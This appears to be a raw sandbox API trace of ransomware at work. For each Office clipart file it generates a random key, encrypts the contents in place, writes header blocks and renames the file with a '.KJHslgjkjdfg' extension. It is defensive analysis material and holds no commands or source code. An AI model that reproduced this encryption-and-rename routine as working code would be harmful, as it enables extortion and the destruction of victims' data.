[0196.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.587] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.587] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.587] GetProcessHeap () returned 0x2ef0000 [0196.587] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.587] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.587] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.587] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.589] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.589] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.589] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.589] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.589] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.589] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.590] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1780, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1780, lpOverlapped=0x0) returned 1 [0196.590] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1780, dwBufLen=0x1780 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1780) returned 1 [0196.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.590] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1780, lpOverlapped=0x0) returned 1 [0196.591] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.591] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.591] SetEndOfFile (hFile=0x130) returned 1 [0196.593] GetProcessHeap () returned 0x2ef0000 [0196.593] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.593] GetProcessHeap () returned 0x2ef0000 [0196.593] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.593] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.kjhslgjkjdfg")) returned 1 [0196.593] CloseHandle (hObject=0x130) returned 1 [0196.594] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90080a00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90080a00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1746, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01461_.WMF", cAlternateFileName="")) returned 1 [0196.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.594] GetProcessHeap () returned 0x2ef0000 [0196.594] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.594] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.594] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0196.596] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.596] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.596] GetProcessHeap () returned 0x2ef0000 [0196.596] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.596] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.596] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.596] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.596] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.596] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.596] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.596] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.596] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.596] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.596] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.597] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.597] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1746, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1746, lpOverlapped=0x0) returned 1 [0196.597] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1750, dwBufLen=0x1750 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1750) returned 1 [0196.597] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.598] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1750, lpOverlapped=0x0) returned 1 [0196.598] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.598] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.598] SetEndOfFile (hFile=0x130) returned 1 [0196.599] GetProcessHeap () returned 0x2ef0000 [0196.599] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.599] GetProcessHeap () returned 0x2ef0000 [0196.599] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.599] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.kjhslgjkjdfg")) returned 1 [0196.600] CloseHandle (hObject=0x130) returned 1 [0196.600] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01618_.WMF", cAlternateFileName="")) returned 1 [0196.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.600] GetProcessHeap () returned 0x2ef0000 [0196.600] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.600] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.601] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.601] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.601] GetProcessHeap () returned 0x2ef0000 [0196.601] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.601] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.601] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.601] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.603] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.603] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.603] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.603] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.603] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.603] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.603] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.603] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.603] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1c80, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1c80, lpOverlapped=0x0) returned 1 [0196.604] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c80, dwBufLen=0x1c80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c80) returned 1 [0196.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.604] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1c80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1c80, lpOverlapped=0x0) returned 1 [0196.604] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.604] SetEndOfFile (hFile=0x130) returned 1 [0196.605] GetProcessHeap () returned 0x2ef0000 [0196.605] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.605] GetProcessHeap () returned 0x2ef0000 [0196.605] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.605] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.kjhslgjkjdfg")) returned 1 [0196.606] CloseHandle (hObject=0x130) returned 1 [0196.606] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83101700, ftCreationTime.dwHighDateTime=0x1bd4bdc, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83101700, ftLastWriteTime.dwHighDateTime=0x1bd4bdc, nFileSizeHigh=0x0, nFileSizeLow=0x1526, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01759_.WMF", cAlternateFileName="")) returned 1 [0196.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.607] GetProcessHeap () returned 0x2ef0000 [0196.607] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.607] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.607] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0196.609] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.609] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.609] GetProcessHeap () returned 0x2ef0000 [0196.609] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.609] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.609] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.609] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.609] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.610] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.610] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.610] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.610] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.610] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.610] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.610] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.610] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1526, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1526, lpOverlapped=0x0) returned 1 [0196.611] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1530, dwBufLen=0x1530 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1530) returned 1 [0196.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.611] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1530, lpOverlapped=0x0) returned 1 [0196.611] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.611] SetEndOfFile (hFile=0x130) returned 1 [0196.613] GetProcessHeap () returned 0x2ef0000 [0196.613] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.613] GetProcessHeap () returned 0x2ef0000 [0196.613] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.613] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.kjhslgjkjdfg")) returned 1 [0196.614] CloseHandle (hObject=0x130) returned 1 [0196.614] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b938600, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b938600, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01875_.WMF", cAlternateFileName="")) returned 1 [0196.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.614] GetProcessHeap () returned 0x2ef0000 [0196.614] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.615] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.615] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.617] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.617] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.617] GetProcessHeap () returned 0x2ef0000 [0196.617] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.617] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.617] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.617] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.617] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, 